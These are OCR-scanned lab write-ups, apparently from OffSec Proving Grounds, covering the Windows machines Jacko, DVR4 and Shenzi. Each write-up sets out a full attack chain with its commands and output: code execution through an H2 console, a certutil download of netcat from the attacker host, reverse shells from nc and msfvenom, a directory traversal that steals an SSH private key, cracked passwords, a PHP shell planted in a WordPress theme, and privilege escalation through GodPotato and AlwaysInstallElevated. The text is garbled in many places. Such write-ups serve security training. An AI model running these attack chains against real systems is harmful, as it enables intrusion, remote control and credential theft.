(T ),CHAR(0x00),CHAR(0x00),CHAR(0x00),CHAR(0x00),CHAR(0x00),CHAR(0x00),C-

HAR(0x00),CHAR(0x00),CHAR(0x00),CHAR(0x00),CHAR(0x00),CHAR(0x00),CHAR(0x00),C-
HAR(0x00),CHAR(0x00),CHAR(0x00),CHAR(0x00),CHAR(0x00),CHAR(0x00),CHAR(0x00),C-
HAR(0x00),CHAR(0x00),CHAR(0x00),CHAR(0x00),CHAR(0x00),CHAR(0x00),CHAR(0x00),C-
HAR(0x00),CHAR(0x00),"™"), 'ISO-8859-1", ", ", ", ", ");

-- Load native library

CREATE ALIAS IF NOT EXISTS System_load FOR "java.lang.System.load";
CALL System_load('C:\Windows\Temp\JNIScriptEngine.dll');
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A Notsecure 192.168.225.66:8082/login.do?jsessionid=e4b2a19c2f3f77c210d6b3407e0648c6

% Auto commit “0 ‘0 | Max rows: (1000 v | O O .~ |Auto complete [Off  v|Auto
ast Run Run Selected Auto complete Clear SQL statement:

VIATION_SCHEMA 12 0x00), CHAR(0x00), CHAR(0x00), CHAR(0x00), CHAR(0x00), CHAR(0X00), CHAR((

AR(0x00),CHAR(0x00), CHAR(0x00), CHAR(0x00), CHAR(0x00), CHAR(0x00), CHAF
(2019-03-13) HAR(0x00),CHAR(0x00), CHAR(0x00), CHAR(0x00), CHAR(0x00), CHAR(0x00),CHA
CHAR(0x00),CHAR(0x00),CHAR(0x00),CHAR(0x00), CHAR(0x00), CHAR(0x00),CF
0),CHAR(0x00),CHAR(0x00), CHAR(0x00), CHAR(0x00), CHAR(0x00), CHAR(0x00),

-- Load native library
CREATE ALIAS IF NOT EXISTS System_load FOR "java.lang.System.load";
l!CALL System_load('C:\Windows\Temp\JNIScriptEngine.dll");

and click on Run

After this you can execute the commands in the system !!

CREATE ALIAS IF NOT EXISTS INIScriptEngine_eval FOR "JNIScriptEngine.eval";
CALL INIScriptEngine_eval('new java.util.Scanner(java.lang.Runtime.getRuntime().exec("w-
hoami").getInputStream()).useDelimiter("\\Z").next()");

Run || Run Selected | Auto complete | Clear SQL statement:

CREATE ALIAS IF NOT EXISTS JNIScriptEngine eval FOR "JNIScriptEngine.eval”;
CALL JNIScriptEngine eval('new java.util.Scanner(java.lang.Runtime.getRuntime().exec("whoami").getinputStream()).useDelimiter("\Z").next()’);

CREATE ALIAS IF NOT EXISTS JNIScriptEngine_eval FOR "JNIScriptEngine.eval";
Update count: 0
(0 ms)

CALL JNIScriptEngine_eval('new java.util.Scanner(java.lang.Runtime.getRuntime().exec("whoami").getinputStream()).useDelimiter("\\Z").next()');
PUBLIC.INISCRIPTENGINE_EVAL('new java.util.Scanner(java.lang.Runtime.getRuntime().exec("whoami").getinputStream()).useDelimiter("\\Z").next()")
jacko\tony

(1 row, 1047 ms)

You can see we can run the commands !!

Now we need to get the shell !!
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Now upload the nc64.exe and get the shell !!

CREATE ALIAS IF NOT EXISTS INIScriptEngine_eval FOR "INIScriptEngine.eval";

CALL INIScriptEngine_eval('new java.util.Scanner(java.lang.Runtime.getRuntime().exec("ce-
rtutil -urlcache -f http://192.168.45.158/nc64.exe C:\\\\Users\\tony\
\nc64.exe").getInputStream()).useDelimiter("\\Z").next()");

Now we uploaded the nc64.exe Now enter the final command !!

CREATE ALIAS IF NOT EXISTS INIScriptEngine_eval FOR "IJNIScriptEngine.eval";

CALL INIScriptEngine_eval('new java.util.Scanner(java.lang.Runtime.getRuntime().exec("C:
\\Users\\tony\\nc64.exe 192.168.45.158 4545 -e cmd").getInputStream()).useDel-
imiter("\\Z").next()");

—(root@kali) - [/home/../offsec/pg/Win/Jacko]
—# rlwra nc 4545

listening on [any] 4545

connect to [192.168.45.158] from (UNKNOWN) [192.168.225.66] 49900
Microsoft Windows [Version 10.0.18363.836]

(c) 2019 Microsoft Corporation. All rights reserved.

C:\Program Files (x86)\H2\service>whoami

whoami

'‘whoami' 1s not recognized as an internal or external command,
operable program or batch file.

we got the shell on 4545
you can see when we enter the command whoami it is not working !!

now navigate to C:\Windows\System32\ path and enter the whoami command

C:\Windows\System32>whoami
whoamil

jacko\tony
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http://192.168.45.158/nc64.exe

got the local.txt

Let's setupthe path !!

C:\Users\Public\temp>set PATH=%PATH%;C:\windows\system32;C:\windows;C:
\windows\System32\Wbem;C:
\windows\System32\WindowsPowerShell\v1.0\;C:
\windows\System32\OpenSSH)\;C:\Program Files\dotnet\

C:\Users\Public\temp>set PATH=%PATH%;C:\windows\system32;C:\windows;C:\wil
gram Files\dotnet\

set PATH=%PATH%;C:\windows\system32;C:\windows;C:\windows\System32\Wbem;C

C:\Users\Public\temp>
C:\Users\Public\temp>systeminfo
systeminfo

Host Name: JACKO

0S Name: Microsoft Windows 10 Pro
0S Version: 10.0.18363 N/A Build 18363
0S Manufacturer: Microsoft Corporation

0S Configuration: Standalone Workstation

0S Build Type: Multiprocessor Free
Registered Owner: tony

you can see now the path is Set correctly !!
PrivEsc: [GodPotato.exe]

C:\Windows\System32>whoami /priv
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C:\Windows\System32>whoami /priv

whoami /priv

PRIVILEGES INFORMATION

SeShutdownPrivilege
SeChangeNotifyPrivilege
SeUndockPrivilege

SeImpersonatePrivilege

SeCreateGlobalPrivilege

SeIncreaseWorkingSetPrivilege

SeTimeZonePrivilege

Description

Shut down the system

Bypass traverse checking

Remove computer from docking station
Impersonate a client after authentication
Create global objects

Increase a process working set

Change the time zone

you can see the SeImpersonate

Upload the GodPotato.exe and get shel administrator shell !!

C:\Users\Public\temp>.\GodPotato.exe -cmd "C:\Users\tony\nc64.exe
192.168.45.158 1234 -e cmd"

Disabled
Enabled
Disabled
Enabled
Enabled
Disabled
Disabled

C:\Users\Public\temp>.\GodPotato.exe -cmd "C:\Users\tony\nc64.exe 192.168.45.158 1234 -e cmd"
.\GodPotato.exe -cmd "C:\Users\tony\nc64.exe 192.168.45.158 1234 -e cmd"

¥] CombaseModule: 0x140724560658432
*] DispatchTable: 0x140724563000928

UseProtseqFunction: 0x140724562368528

UseProtseqFunctionParamCount: 6
HookRPC
Start PipeServer

CreateNamedPipe \\.\pipe\aa7llbfa-5ba6-45b8-9d9a-41f512ce62b2\pipe\epmapper

Trigger RPCSS

DCOM obj GUID: 00000000-0000-0000-c000-000000000046
DCOM obj IPID: 00001402-0fa8-ffff-512e-9d13a8fcadd8

L /rar nc 1234
listening on [any] 1234 ...

connect to [192.168.45.158] from (UN
Microsoft Windows [Version 10.0.1836
(c) 2019 Microsoft Corporation. All

C:\Windows\system32>whoami
whoami

K
3
r

NOWN) [192.168.225.66] 49988
.836]
ights reserved.

we got the access to the nt authority system !!
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C:\Users\Administrator\Desktop>type proof.txt
type proof.txt
1056e2f7db0a33241ba530aed411leb8a3

C:\Users\Administrator\Desktop>ipconfig
ipconfig

Windows IP Configuration

Ethernet adapter Etherneto:

Connection-specific DNS Suffix . :

IPv4 Address. . . . . . . . . . . : 192.168.225.66
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.225.254

C:\Users\Administrator\Desktop>|]

got the proof.txt

DVR4 [Medium]

Brief:

OS: Windows
Web-Technologies:
IP:

Users:

Credentials:

Ports (Try to list):
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PORT STATE SERVICE VERSION

22/tcp open ssh Bitvise WinSSHD 8.48 (FlowSsh 8.48; protocol 2.0; non-
commercial use)

| ssh-hostkey:

| 3072 21:25:f0:53:b4:99:0f:34:de:2d:ca:bc:5d:fe:20:ce (RSA)

|_ 384 e7:96:f3:6a:d8:92:07:5a:bf:37:06:86:0a:31:73:19 (ECDSA)

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn Microsoft Windows netbios-ssn

445/tcp open microsoft-ds?

5040/tcp open unknown

7680/tcp open pando-pub?

8080/tcp open http-proxy

|_http-generator: Actual Drawing 6.0 (http://www.pysoft.com) [PYSOFTWARE]
|_http-title: Argus Surveillance DVR

| fingerprint-strings:

| GetRequest, HTTPOptions:

| HTTP/1.1 200 OK

| Connection: Keep-Alive

| Keep-Alive: timeout=15, max=4
| Content-Type: text/html

| Content-Length: 985

| <HTML>

| <HEAD>

| <TITLE>

|  Argus Surveillance DVR

| </TITLE>
|
I
[
|
I
S
|

<meta http-equiv="Content-Type" content="text/html; charset=1S0O-8859-1">
<meta name="GENERATOR" content="Actual Drawing 6.0 (http://www.pysoft.com)
PYSOFTWARE]" >
<frameset frameborder="no" border="0" rows="75,*,88">
<frame name="Top" frameborder="0" scrolling="auto" noresize
rc="CamerasTopFrame.html" marginwidth="0" marginheight="0">
<frame name="ActiveXFrame" frameborder="0" scrolling="auto" noresize
src="ActiveXIFrame.html|" marginwidth="0" marginheight="0">
| <frame name="CamerasTable" frameborder="0" scrolling="auto" noresize
src="CamerasBottomFrame.html|" marginwidth="0" marginheight="0">
|  <noframes>
| <p>This page uses frames, but your browser doesn't support them.</p>
|_  </noframes>
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http://www.pysoft.com
http://www.pysoft.com

49664 /tcp open msrpc Microsoft Windows RPC

49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC

Web Service Enumeration:
[+ Nikto]

[+ Fuzzing]

### LAB Steps:

— My eyes goes first to the port 8080
— In the Nmap scan " Argus Surveillance DVR’
— Started to search for the public exploits !!

Argus Survelllance DVR 4.0 - Unquoted Service Path

Argus Surveillance DVR 4.¢ Weak Password Encryption

Argus Surveillance DVR 4.0.0.0 - Directory Traversal
: | 2 DVR ¢ .0 - Privilege Escalation

you can see there is a Directory transversal anf Weak password encrtyption is a Local Privesc
technique !!

Intial Access:
Argus Surveillance DVR 4.0.0.0 - Directory Traversal — windows_x86/webapps/45296.txt
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We got the Directory traversal !!

« > C @ O A 192.168.225.179:8( WEBACCOUNT.CGI

Kali Linux Exploit-DB Google Hacking DB OffSec GTFOBins Full TTYs | HackTricks |... @ Online - Reverse Shell ... €@ Hash Type Identifier - I... @ OSCP |Just for simplic...

; for 16-bit app support [386Enh] woafont=dosapp.fon EGASOWOA.FON=EGA80WOA.FON EGA40WO.
CGAB0WOA.FON=CGAB0OWOA.FON CGA40WOA.FON=CGA40WOA.FON [drivers] wave=mmdrv.dll ti1

When we see the web application there is an endpoint called users !!

rs.html

> C @ O A 192.168.225.179:3080

Kali Linux Exploit-DB Google Hacking DB OffSec GTFOBIns Full TTYs | HackTricks |... @ Onlin

=34

Surveillance =

Users:
Each user can be assigned different privileges that limit their usage of surveillance system.

' New User | Delete Selected |

Administrator

Login Name Enabled Password (full control)
] | Administrator | ' Change Password |
(] | Viewer | ' Change Password |

. Save Data |

To restrict access by users, the Use Authorization option must be activated on the Remr

you can see there are two users Viewer and Administrator !!
We know that in this machien the ssh is also Open So let's try to get the id_rsa key !!
Adminsitrator :

http://192.168.225.179:8080/WEBACCOUNT.CGI?OkBtn=++0k++&RESULTPAGE=..%2F..
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http://192.168.225.179:8080/WEBACCOUNT.CGI?OkBtn=++Ok++&amp;RESULTPAGE=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FUsers%2Fviewer%2f.ssh%2fid_rsa&amp;USEREDIRECT=1&amp;WEBACCOUNTID=&amp;WEBACCOUNTPASSWORD=

% 2F..%2F..%?2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..
%2FUsers%2FAdministrator%?2f.ssh%2fid rsa&USEREDIRECT=1&WEBACCOUNTID=&WEB-
ACCOUNTPASSWORD=

O & 192168.225179

Pogle Hacking DB OffSec GTFOBIns Full TTYs | HackTricks |... @@ Online - Reverse Shell... @ Hash Type Identifier - I... @ OSCP | Just for simplic

ind this file.

: IWEBACCOUNT.CGI?OkBtn= Ok &RESULTPAGE-=../../..[..[..[..[..[..[..]..]..]..]..]..]..]..[Users/Administrator/.ssh/id_rsa&
1&WEBACCOUNTID=&WEBACCOUNTPASSWORD= was not found.

Viewer:
It is like :
http://192.168.225.179:8080/WEBACCOUNT.CGI?OkBtn= Ok

&RESULTPAGE=../../../../..[..[..[..[..[..[..[..[..]..]..[../Users/viewer/.ssh/
id_rsa&USEREDIRECT=1&WEBACCOUNTID=&WEBACCOUNTPASSWORD=

Just we need to replace the %2
http://192.168.225.179:8080/WEBACCOUNT.CGI?OkBtn=++0k++&RESULTPAGE=..%2F..
%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..
%2FUsers%?2Fviewer%2f.ssh%2fid rsa&USEREDIRECT=1&WEBACCOUNTID=&WEBACCOU-
NTPASSWORD=

C @ & view-source:http://192.168.225.179:8080/WEBACCOUNT.CGI?0kBtn=++Ok++&RESULTPAGE=..%2F..%

Kali Linux Exploit-DB Google Hacking DB OffSec GTFOBins Full TTYs | HackTricks |... @ Online - Reverse Shell ... @ Hash Typ

BEGIN OPENSSH PRIVATE KEY
b3BlbnNzaClrzXktdjEAAAAABGS5vbmUAAAAEbmOUZQAAAAAAAAABAAABLwWAAAAdZc2gtcn
NhAAAAAWEAAQAAAYEAuuXhjQJhDjXBJIkiIftPZng7N999zteWzSgthQ5fs9k0hbFzLQJ5]
Ybut®@BIbPaUdOhN1QcuhAUZjaaMxnWLbDIgTETK8h162381p9q6vR2zKpHu9DhilksVyAP
1J/njNKIOtjtpe03rjGMkKgNKwvv3y2EcCEt1d+Lxs03Wyb5ezuPT349v+MVs7VW0O4+mGx
pgheMgbX6HwqGS09z38QetR6Ryxs+LVX49Bjhskz19gSF4/iTCbqoRo0djcH54fyPOm30S
2Lj jOKrgYM2aKwEN7asK3RMGDaqn101S4tpvCFvNsh0zVq617pHQzc4lkf+bAi4K1YQXmo
7xqSQPAs4/dx6e7bD2FCOd/V9cUw8onGZtD8UXeZWQ/hgiCphsRd9S5zumaiaPr04CgoSZ
GEQA4P7 rdkpgVTfERWOTP5 fWPMZAyIEaLtOXAXmE5zXhTA9SvD6Zx2cMBTfWmmsSO8F7pwAp
zJolghz/gjsplAo9yLBRmLZx4k7AFg66gxavUPrLAAAFKMOav4nDmr+JAAAAB3NzaClyc2
EAAAGBALr14YOCYQ41wSZIiH7T2Z40zfffc7X1s0oLYUOX7PZDoWxcy0CeSWG7 rdASGz21
HToTZUHLoQFGY2mjMZ1i2wyYExEyvIdetifNafaur@dsyqR7vQ4YtZLFcgD4if54zSiNLY
7aXjt64xjICoDSsL798thHARLAXfi8bDt1sm+Xs7]j09+Pb/jFb01VtOPphsaYIXjIG1+h8
KhkqPc9/EHrUekcsbPilV+PQY4bJIMOfYEheP4kwm6qEaNHY3B+eH8j zptzkti44z1iq4GDN
misBDe2rCt0TBg2qp9TpUuLabwhbzbITslaupe6ROM30IZH/mwIuCtWEF5q08akkDwLOP3
cenu2w9hQtHf1fXFMPKIxmbQ/FF3mVkP4aogqYbEXfUuc7pmomj6zuAoKEmRhEAOD+63ZK
YFXXEVtEz+X1jzGQMiBGi7T1lwF5h0c14UwPUrw+mcdnDAX1pprEjvBe6cAKcyaNYIc/417
KdQKPciwUZi2ceJOwBYOuoMWr1D6ywAAAAMBAAEAAAGAbKIGEREXPt fZjgNGeOPx4zwqgK

Got the viewer ssh key let's try to authenticate via ssh !!
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http://192.168.225.179:8080/WEBACCOUNT.CGI?OkBtn=++Ok++&amp;RESULTPAGE=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FUsers%2Fviewer%2f.ssh%2fid_rsa&amp;USEREDIRECT=1&amp;WEBACCOUNTID=&amp;WEBACCOUNTPASSWORD=
http://192.168.225.179:8080/WEBACCOUNT.CGI?OkBtn=++Ok++&amp;RESULTPAGE=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FUsers%2Fviewer%2f.ssh%2fid_rsa&amp;USEREDIRECT=1&amp;WEBACCOUNTID=&amp;WEBACCOUNTPASSWORD=
http://192.168.225.179:8080/WEBACCOUNT.CGI?OkBtn=++Ok++&amp;RESULTPAGE=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FUsers%2Fviewer%2f.ssh%2fid_rsa&amp;USEREDIRECT=1&amp;WEBACCOUNTID=&amp;WEBACCOUNTPASSWORD=
http://192.168.225.179:8080/WEBACCOUNT.CGI?OkBtn=
http://192.168.225.179:8080/WEBACCOUNT.CGI?OkBtn=++Ok++&amp;RESULTPAGE=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FUsers%2Fviewer%2f.ssh%2fid_rsa&amp;USEREDIRECT=1&amp;WEBACCOUNTID=&amp;WEBACCOUNTPASSWORD=
http://192.168.225.179:8080/WEBACCOUNT.CGI?OkBtn=++Ok++&amp;RESULTPAGE=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FUsers%2Fviewer%2f.ssh%2fid_rsa&amp;USEREDIRECT=1&amp;WEBACCOUNTID=&amp;WEBACCOUNTPASSWORD=
http://192.168.225.179:8080/WEBACCOUNT.CGI?OkBtn=++Ok++&amp;RESULTPAGE=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FUsers%2Fviewer%2f.ssh%2fid_rsa&amp;USEREDIRECT=1&amp;WEBACCOUNTID=&amp;WEBACCOUNTPASSWORD=
http://192.168.225.179:8080/WEBACCOUNT.CGI?OkBtn=++Ok++&amp;RESULTPAGE=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FUsers%2Fviewer%2f.ssh%2fid_rsa&amp;USEREDIRECT=1&amp;WEBACCOUNTID=&amp;WEBACCOUNTPASSWORD=

# ssh -i viewer_idrsa viewer@192.168.225.179

—(root@kali)-[/home/../offsec/pg/Win/DVR4]

L% ssh viewer idrsa viewer@l92.168.225.179

The authenticity of host '192.168.225.179 (192.168.225.179)' ca

ECDSA key fingerprint 1s SHA256:0zp+uR1SK5U0IuXmUFyBv6zUowYGwzY

This host key is known by the following other names/addresses:
~/.ssh/known hosts:1: [hashed name]

Are you sure you want to continue connecting (yes/no/[fingerpri

Warning: Permanently added '192.168.225.179' (ECDSA) to the lis

Microsoft Windows [Version 10.0.19044.1645]

(c) Microsoft Corporation. All rights reserved.

C:\Users\viewer>whoami
dvrd\viewer

C:\Users\viewer>hostname
DVR4

Got local.txt

C:\Users\viewer\Desktop>type local.txt
804b0e7dc99c43d5d6c3884b11d1d8e9

C:\Users\viewer\Desktop>ipconfig

Windows IP Configuration

Ethernet adapter Ethernet0® 2:

Connection-specific DNS Suffix . :

IPv4 Address. . . . . . . . . . . : 192.168.225.179
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.225.254
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Tried Winpeas there is no loophole !!
we have some local privesc in the searchsploit !!
Argus Surveillance DVR 4.0 - Weak Password Encryption — windows/local/50130.py

When you read the exploit there is a path disclosed !!

Exploit Title: Argus Surveillance DVR 4.0 - Weak Password Encryption
Exploit Author: Salman Asad (@deathflashl1411) a.k.a LeoBreaker
Date: 12.07.2021

Version: Argus Surveillance DVR 4.0
Tested on: Windows 7 x86 (Build 7601) & Windows 10

Reference: https://deathflashl411.github.io/blog/dvr4-hash-crack

Note: Argus Surveillance DVR 4.0 configuration is present in

Let's try to navigate to that path and see the contents on it !!

C:\Users\viewer\temp>type "C:\ProgramData\PY_Software\Argus Surveillance
DVR\DVRParams.ini"

AccessRestrictedForIPs0O=

MaxBytesSent0=0

R 0-ECB453D16069F641E03BD9BD956BFE36BD8F3CDID9AS
Description@=60CAAAFEC8753F7EEQ3B3B76C875EB607359F641D9BD
9F6419083

AccessRestrictedForIPsl=

MaxBytesSent1=0

g bl=5E534D7B6069F641E03BDI9BD956BC875EB603CDIDSE1BDSFAAFE
Descriptionl=

Disabled1=0

there are two password strings !!

In the exploit code Just replace the hash param with these hashes !!
Password0=ECB453D16069F641E03BD9BD956BFE36BD8F3CD9D9A8 >> ImWatchingY-
Ou

72/127



[—( rﬂo’r@ kali) - [/home/../offsec/pg/Win/DVR4]
L# python3 50130.py

A
Survelllance DVR 4.0

/ \ F
A4 Noah \V/ \| | \/ ad:
£/ | \ | \/// > | /\ \ 4
: nistraty /| // > 4
\V/ / / \/ 7

Weak Password Encryption
#HHEEE @deathTlash1411 ##HHHHHEHH

5E53:1
4D7B:m
6069:W
F641:
EO3B:
DO9BD: C
O56B:T
C875:
EB6O:
3CD9:
DSE1:
BD8F:
AAFE:

[+
[+
[+
[+
[+
[+
[+
[+
[+
[+
[+
[+
[+

]
]
]
]
]
]
]
]
]
]
]
]
]

Let's try with the second Hash !!

Password1=5E534D7B6069F641E03BD9BD956BC875EB603CDI9DSE1BD8FAAFE >> 14W-
atchDOg[last one is Unknown]
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(root@kali)-[/home/../offsec/pg/Win/DVR4]
python3 50130.py

-

/\

- H H HHEHH R

Weak Password Encryption
## @deathflashld4ll #HHHHHHEHIH

o0 0O rt+t Q =

o O

+
+
+
+
+
+
+
+
+
+

}
}
}
}
}
J
}
}
}
}

).
Unknown

We dont ahve any idea what is the last letter !!
may be it is a symbol !!
Tried with all the symbols

14WatchDOg!

14WatchDO0g@
14WatchDOg#

14WatchDO0g$ — this worked !!
14WatchDOg”

14WatchDO0g&

14WatchDOg*

14WatchDOg(
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14WatchDOg)
14WatchDOg_

with the make use of the runas get access to the Adminsitrator !!

PS C:\Users\viewer\temp> runas /user:Administrator "whoami"

PS C:\Users\viewer\temp> runas /user:Administrator

Enter the password for Administrator:
Attempting to start whoami as user "[REAVAGClNNESdg-R0

Upload a malicoius binary and replace the whoami with that binary path !!

# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.45.205
LPORT=4444 -f exe > test.exe

PS C:\Users\viewer\temp> runas /user:Administrator

Enter the password for Administrator:

Attempting to start C:\Users\viewer\temp\test.exe as user "DVR4\Administrator"
PS C:\Users\viewer\temp> []

—(root@kali)-[/home/../offsec/pg/Win/DVR4]

# rlwra nc 4444

listening on [any] 4444 ...

connect to [192.168.45.205] from (UNKNOWN) [192.168.225.179] 50295
Microsoft Windows [Version 10.0.19044.1645]

(c) Microsoft Corporation. All rights reserved.

C:\WINDOWS\system32>whoami
whoami
dvr4\administrator

C:\WINDOWS\system32>hostname
NS
DVR4

Got proof.txt ..
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C:\WINDOWS\system32>type C:\Users\Administrator\Desktop\proof.txt
type C:\Users\Administrator\Desktop\proof.txt
1d618e90d18cdbce6c7c9dcce6456eb3

C:\WINDOWS\system32>ipconfig
ipconfig

Windows IP Configuration

Ethernet adapter Ethernet0 2:

Connection-specific DNS Suffix . :

IPv4 Address. . . . . . . . . . . : .168.225.179
Subnet Mask . . . . . . . . . . . : .255.255.0
Default Gateway . . . . . . . . . : .168.225.254

Shenzi [Medium]

Brief:

OS: Windows
Web-Technologies:
IP:

Users:

Credentials:
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# nmap -p- -sV -sC -oN Nmap 192.168.225.179 --open

NMAP Results:

PORT STATE SERVICE VERSION

21/tcp open ftp FileZilla ftpd 0.9.41 beta

| ftp-syst:

|_ SYST: UNIX emulated by FileZilla

80/tcp open http Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)

| http-title: Welcome to XAMPP

|_Requested resource was http://192.168.225.55/dashboard/
|_http-server-header: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.6
135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn Microsoft Windows netbios-ssn

443/tcp open ssl/http Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)
| http-title: Welcome to XAMPP

|_Requested resource was https://192.168.225.55/dashboard/

| ssl-cert: Subject: commonName=localhost

| Not valid before: 2009-11-10T723:48:47

|_Not valid after: 2019-11-08T23:48:47

| tls-alpn:

|_ http/1.1

|_ssl-date: TLS randomness does not represent time
|_http-server-header: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.6
445/tcp open microsoft-ds?

3306/tcp open mysql?

| fingerprint-strings:

| NULL, SSLSessionReq:

| Host'192.168.45.205" is not allowed to connect to this MariaDB server
5040/tcp open unknown

7680/tcp open pando-pub?

49664 /tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC

Web Service Enumeration:
[+ Nikto]
[+ Fuzzing]
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http://192.168.225.55/dashboard/
https://192.168.225.55/dashboard/

### LAB Steps:
— First things first the SMB port is open let's try to authenticate with the Null

Authentication !!

# smbclient-L //192.168.225.55/

—(root@kali)-[/home/../offsec/pg/Win/Shenzi]
—# smbclient //192.168.225.55/
Password for [WORKGROUP\root]:

Sharename
Remote IPC

Reconnecting with SMB1 for workgroup listing.

do connect: Connection to 192.168.225.55 failed (Error

Unable to connect with SMB1 -- no workgroup available

you can see Shenzi share !!

Let's try to access that share !!

# smbclient //192.168.225.55/Shenzi

—(root@kali)-[/home/../offsec/pg/Win/Shenzi]
# smbcli //192.168.225.55/Shenzi

Password for [WORKGROUP\root]:

Try "help" to get a list of possible commands.

smb: \> 1s

passwords.txt

readme en.txt 3

sess klk75u2q4rpgfjs3785h6hpipp ) Thu May 28 2
‘ 13 Thu May 28 21

why . tmp
Xampp-control.ini ‘ 8 Thu May 28 21
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you can see the passwords.txt file let's get that !!
smb: \> get passwords.txt

# cat passwords.txt

5) WordPress:

User: admin
Password: FeltHeadwallWight357

You can see the wordpress username and password is disclosed !!
Now movw to the Http webservers !!

There is a Xampp running https://192.168.225.55/dashboard/

But there is no where wordpress !!
Try to put the same share name as the webserver endpoint !!

https://192.168.225.55/shenzi/ >> got wordpress !!
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https://192.168.225.55/dashboard/
https://192.168.225.55/shenzi/

e hips://192.168.225.55/shenzi/wp-login.php

Username or Email Address

admin

Password

FeltHeadwallWight3! ¢

Remember Me

got access !!
Let's get the Reverse shell !!
Now navigate to Appearences > Themes > twenty twenty > 404.php

Edit the 404.php to the php reverse shell !!
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O & https:/[192.168.225.55/shenzi/wp-admin/theme-editor.php?file=404.php&theme=twentytwent

Google Hacking DB OffSec GTFOBins Full TTYs | HackTricks |... @ Online - Reverse Shell ... @ Hash Type Identifier - 1

(] 4+ New

Edit Themes

Twenty Twenty: 404 Template (404.php)

Selected file content:

158 foreach ($pipes as $pipe) {
159 fclose($pipe);

160 }

161 proc_close($process);

162 }

163 /] ------ SHELL END ------

164

165 fclose($socket);

166 }

167 [[ =----- SOCKET END ------

168

169 }

170 }

171 }

172 echo '<pre>';|

173 // change the host address and/or port number as necessary
174 $sh = new Shell('192.168.45.205"', 1234),

175 $sh->run();

176 unset($sh);

177 // garbage collector requires PHP v5.3.0 or greater
178 // @gc_collect cycles();

179 echo '</pre>';

180 7>

Now open this https://192.168.225.55/shenzi/wp-content/themes/twentytwenty/404.php !!

and get the shell !!
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https://192.168.225.55/shenzi/wp-content/themes/twentytwenty/404.php

—(root@kali)-[/home/../offsec/pg/Win/Shenzi]

L% rlwrap nc -lvnp 1234

listening on [any] 1234 ...

connect to [192.168.45.205] from (UNKNOWN) [192.168.225.55] 49800
SOCKET: Shell has connected! PID: 3988

Microsoft Windows [Version 10.0.19042.1526]

(c) Microsoft Corporation. All rights reserved.

C:\xampp\htdocs\shenzi\wp-content\themes\twentytwenty>whoami
shenzi\shenzi

C:\xampp\htdocs\shenzi\wp-content\themes\twentytwenty>hostname
shenzi

got the local.txt

C:\Users\shenzi\Desktop>type local.txt
a8ae8Tee089673511a30e418068bb9fb

C:\Users\shenzi\Desktop>ipconfig

Windows IP Configuration

Ethernet adapter Etherneto:

Connection-specific DNS Suffix . :
IPv4 Address. . . . . . . . . . . : 192.168.225.55
Subnet Mask . . . . . . . . . . . : 255.255.255.0

Default Gateway . . . . . . . . . : 192.168.225.254

PrivEsc:

GOUUHOOUHE Checking AlwaysInstallElevated
@ https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#alwaysinstallelevated

AlwaysInstallElevated set to 1 in HKLM!
AlwaysInstallElevated set to 1 in HKCU!

You can see the AlwaysInstallElevated is set to 1 !!!
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Upload any malicious .msi file and run that and get the system level access !!

# msfvenom -p windows/x64 /shell_reverse_tcp LHOST=192.168.45.205
LPORT=443 -f msi -0 reverse.msi

Target system:

PS C:\Users\shenzi\temp> msiexec /quiet /qn /i C:\Users\shenzi\temp\reverse.msi

PS C:\Users\shenzi\temp> msiexec /quiet /qn /i C:\Users\shenzi\temp\reverse.msi
PS C:\Users\shenzi\temp> []

—(root@kali) - [/home/../of fsec/pg/Win/Shenzi]
L# rlwrap nc 443

listening on [any] 443

connect to [192.168.45.205] from (UNKNOWN) [192.168.225.55] 50239
Microsoft Windows [Version 10.0.19042.1526]

(c) Microsoft Corporation. ALl rights reserved.

C:\WINDOWS\system32>whoami
whoami
nt authority\system

got the proof.txt
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C:\Users\Administrator\Desktop>type proof.txt
type proof.txt
deld6f145a5d9fe07010aaadefadfbb9

C:\Users\Administrator\Desktop>ipconfig
ipconfig

Windows IP Configuration

Ethernet adapter Etherneto:

Connection-specific DNS Suffix . :

IPv4 Address. . . . . . . . . . . : 192.168.225.55
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.225.254

Nickel

Brief:

OS: Windows
Web-Technologies:
IP:

Users:

Credentials:

Ports (Try to list):
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NMAP Results:

PORT STATE SERVICE VERSION

